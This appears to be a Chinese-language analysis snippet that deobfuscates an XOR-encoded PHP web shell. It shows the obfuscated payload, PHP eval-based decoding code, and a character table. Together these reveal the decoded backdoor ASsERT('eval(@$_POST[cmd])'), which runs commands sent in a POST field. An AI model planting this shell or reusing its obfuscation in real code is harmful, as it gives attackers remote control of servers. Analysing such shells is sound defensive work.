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$s =<<< 'TXT'
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
TXT;
$t = preg_replace_callback('/\(("[^\)]+)./', function($m) { return "'" . eval("return $m[1];")."'";}, $s);
echo preg_replace("/'\.\s*'/", '', $t);
${'__'}='ASsERT';
${'__'}('eval(@$_POST[cmd])');
$s =<<< 'TXT'
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
TXT;
preg_match_all('/\(("[^\)]+)/', $s, $m);
foreach($m[1] as $v) printf("%s => %s\n", $v, eval("return $v;"));
"#"^"|" => _
"#"^"|" => _
"!"^"`" => A
"( "^"{" => S
"("^"[" => s
"~"^";" => E
"|"^"." => R
"*"^"~" => T
"#"^"|" => _
"#"^"|" => _
"-"^"H" => e
"]"^"+" => v
"["^":" => a
","^"@" => l
"}"^"U" => (
"~"^">" => @
"e"^"A" => $
"("^"w" => _
"j"^":" => P
"i"^"&" => O
"#"^"p" => S
">"^"j" => T
"!"^"z" => [
"]"^">" => c
"@"^"-" => m
"["^"?" => d
"?"^"b" => ]
"]"^"t" => )
接下来自己分析